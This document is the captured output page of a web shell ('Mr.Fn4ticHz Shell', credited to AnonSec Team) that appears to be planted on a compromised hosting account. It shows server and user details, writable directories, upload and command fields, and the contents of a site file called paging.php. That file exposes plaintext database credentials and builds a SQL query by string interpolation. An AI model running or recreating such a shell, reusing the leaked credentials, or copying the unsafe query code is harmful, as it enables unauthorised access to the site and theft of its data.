Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.133.126.199
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//paging.php
<?php
$connect = new PDO("mysql:host=localhost;dbname=easenuph_hand2secure", "easenuph_hand2secure", "@#admin@#");
?>
<html>
<head>
<title>Test new</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="pagination/css/pagination.css" rel="stylesheet" type="text/css" />
<link href="pagination/css/A_green.css" rel="stylesheet" type="text/css" />
</head>

<body>



<?php 
 include("function.php");
 $page = (int) (!isset($_GET["page"]) ? 1 : $_GET["page"]);
    	$limit = 5; //if you want to dispaly 10 records per page then you have to change here
    	$startpoint = ($page * $limit) - $limit;
        $statement = "table1 order by name asc"; //you have to pass your query over here

		$res=mysql_query("select * from {$statement} LIMIT {$startpoint} , {$limit}");
		while($row=mysql_fetch_array($res))
		{
		echo $row["name"];
		echo "<br>";
		}

?>

<?php
echo "<div id='pagingg' >";
echo pagination($statement,$limit,$page);
echo "</div>";
?>
</body>
</html>

Anon7 - 2022
AnonSec Team